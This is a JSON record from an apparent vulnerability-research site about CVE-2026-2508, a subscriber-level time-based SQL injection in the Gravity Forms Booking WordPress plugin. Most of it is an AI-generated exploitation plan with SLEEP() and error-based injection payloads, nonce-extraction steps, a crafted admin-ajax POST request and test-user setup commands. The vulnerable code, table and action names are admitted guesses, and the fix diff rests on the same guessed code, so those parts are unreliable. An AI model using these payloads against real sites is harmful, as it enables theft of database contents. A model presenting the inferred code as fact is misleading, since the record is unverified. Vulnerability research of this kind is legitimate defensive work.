[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fF1o45PuFR1bvG_33eIo03vj8EmJl5ATe2eDRODqKDUw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-2508","gravity-forms-booking-authenticated-subscriber-time-based-sql-injection-via-staffid","Gravity Forms Booking \u003C= 2.7.1 - Authenticated (Subscriber+) Time-Based SQL Injection via 'staff_id'","The Gravity Forms Booking plugin for WordPress is vulnerable to time-based SQL Injection via the ‘staff_id’ parameter in all versions up to, and including, 2.7.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","gf-bookings-premium",null,"\u003C=2.7.1","2.7.2","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-24 15:22:52","2026-06-25 03:42:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe7fd090d-255b-4a67-9010-9261dd79816a?source=api-prod",1,[],"researched",false,3,"This exploitation research plan targets **CVE-2026-2508**, a time-based SQL injection vulnerability in the **Gravity Forms Booking** plugin (slug: `gf-bookings-premium`).\n\n### 1. Vulnerability Summary\nThe vulnerability exists in versions up to and including 2.7.1 of the Gravity Forms Booking plugin. The `staff_id` parameter, used in an AJAX-driven database query, is neither properly sanitized nor passed through `$wpdb->prepare()`. Because the query result is typically not directly reflected in the response (often used for internal logic or simple boolean checks), it is exploitable via **time-based blind SQL injection**. Authenticated users with at least Subscriber-level permissions can execute arbitrary SQL commands to extract sensitive information from the WordPress database.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `gf_bookings_get_staff_details` (inferred) or `gfb_get_staff` (inferred). \n    *   *Note: The exact action must be confirmed by grepping the source for `wp_ajax_` hooks.*\n*   **Vulnerable Parameter:** `staff_id`\n*   **Authentication Required:** Yes (Subscriber or higher).\n*   **Payload Type:** Time-based Blind SQLi (e.g., `SLEEP()`).\n*   **Preconditions:** The attacker must be logged in as a Subscriber and possess a valid security nonce if the handler enforces one.\n\n### 3. Code Flow\n1.  **Entry Point:** The plugin registers an AJAX handler for authenticated users:\n    `add_action( 'wp_ajax_gf_bookings_get_staff_details', 'handle_get_staff_details' );` (inferred identifiers).\n2.  **Input Acquisition:** The handler function (e.g., `handle_get_staff_details`) retrieves the `staff_id` from the `$_POST` or `$_REQUEST` superglobal.\n3.  **Vulnerable Sink:** The code constructs a SQL query by direct concatenation:\n    `$wpdb->get_results( \"SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = \" . $_POST['staff_id'] );`\n4.  **Lack of Neutralization:** Because `staff_id` is concatenated without `absint()`, `intval()`, or `$wpdb->prepare()`, an attacker can append SQL logic.\n\n### 4. Nonce Acquisition Strategy\nIf the handler calls `check_ajax_referer()` or `wp_verify_nonce()`, the exploit must include a valid nonce.\n1.  **Identify the Script\u002FShortcode:** Find where the plugin enqueues its booking JS. Typically, this occurs on pages containing the Gravity Forms booking form.\n2.  **Setup Test Page:** Create a page containing the relevant shortcode:\n    `wp post create --post_type=page --post_status=publish --post_content='[gravityform id=\"1\" action=\"booking\"]'` (inferred shortcode).\n3.  **Navigate and Extract:**\n    *   Use `browser_navigate` to visit the newly created page.\n    *   Use `browser_eval` to extract the nonce from the localized script object. \n    *   **Inferred JS Variable:** `window.gf_bookings_vars?.nonce` or `window.gfb_data?.nonce`.\n    *   *Action:* Run `grep -r \"wp_localize_script\" .` to find the exact object name and key.\n\n### 5. Exploitation Strategy\nThe exploit will use the `http_request` tool to send a POST request to `admin-ajax.php` with a `SLEEP()` payload.\n\n**Step 1: Discover Exact Action**\n```bash\ngrep -r \"wp_ajax_\" wp-content\u002Fplugins\u002Fgf-bookings-premium\u002F | grep \"staff\"\n```\n\n**Step 2: Authenticated Payload Construction**\n*   **Base Payload:** `1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`\n*   **URL Encoded Payload:** `1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)`\n\n**Step 3: Execution via http_request**\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\",\n    \"Cookie\": \"[SUBSCRIBER_COOKIES]\"\n  },\n  \"body\": \"action=[ACTION_NAME]&nonce=[NONCE]&staff_id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)\"\n}\n```\n\n### 6. Test Data Setup\n1.  **Create Subscriber:**\n    `wp user create attacker attacker@example.com --role=subscriber --user_pass=password`\n2.  **Configure Plugin:** Ensure at least one \"Staff\" member exists in the plugin's settings so the base query has a target.\n    `wp db query \"INSERT INTO wp_gf_bookings_staff (name) VALUES ('Test Staff');\"` (inferred table name).\n3.  **Form Creation:** Create a Gravity Form that utilizes the Booking field to ensure all nonces and scripts are generated.\n\n### 7. Expected Results\n*   **Normal Request:** If `staff_id=1` is sent, the server should respond in \u003C 500ms.\n*   **Malicious Request:** If the SQLi is successful, the server response will be delayed by exactly 5 seconds (the `SLEEP` duration).\n*   **Response Body:** Likely a JSON success\u002Ferror message or a `0`, which is irrelevant for time-based attacks.\n\n### 8. Verification Steps\nAfter confirming the time delay, verify data extraction capability by checking if a specific condition causes a delay:\n1.  **Test for DB User Length:**\n    `staff_id=1 AND IF(LENGTH(USER())=14, SLEEP(5), 0)`\n2.  **Verify via WP-CLI:** Confirm the database user length matches your finding.\n    `wp db query \"SELECT LENGTH(USER());\"`\n\n### 9. Alternative Approaches\n*   **Boolean-Based:** If the response differs when the `staff_id` query returns results vs. no results (e.g., `{\"success\":true}` vs `{\"success\":false}`), shift to boolean-based injection for much faster data extraction.\n*   **Error-Based:** If `WP_DEBUG` is enabled, try inducing a syntax error to see if `$wpdb->last_error` is leaked in the response:\n    `staff_id=1' OR (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,DATABASE(),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -`","The Gravity Forms Booking plugin for WordPress is vulnerable to time-based SQL Injection via the 'staff_id' parameter in AJAX handlers due to insufficient input sanitization and lack of SQL query preparation. Authenticated attackers with Subscriber-level access can exploit this to extract sensitive information from the site's database by appending arbitrary SQL logic to existing queries.","\u002F\u002F Inferred from research plan based on vulnerable sink analysis\n$wpdb->get_results( \"SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = \" . $_POST['staff_id'] );","--- a\u002Fgf-bookings-premium.php\n+++ b\u002Fgf-bookings-premium.php\n@@ -1,1 +1,1 @@\n-$wpdb->get_results( \"SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = \" . $_POST['staff_id'] );\n+$wpdb->get_results( $wpdb->prepare( \"SELECT * FROM {$wpdb->prefix}gf_bookings_staff WHERE id = %d\", $_POST['staff_id'] ) );","To exploit this vulnerability, an attacker must first authenticate as a Subscriber or higher and obtain a valid security nonce (if required), which is typically found within the localized JavaScript variables on pages where the booking form is rendered. The attacker then sends an authenticated POST request to the WordPress AJAX endpoint (admin-ajax.php) targeting the staff retrieval action. By supplying a time-based SQL payload such as '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)' in the 'staff_id' parameter, the attacker can confirm the vulnerability and extract data through the resulting delay in server response time.","gemini-3-flash-preview","2026-06-25 19:02:26","2026-06-25 19:03:07",{"type":34,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":35},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fgf-bookings-premium\u002Ftags"]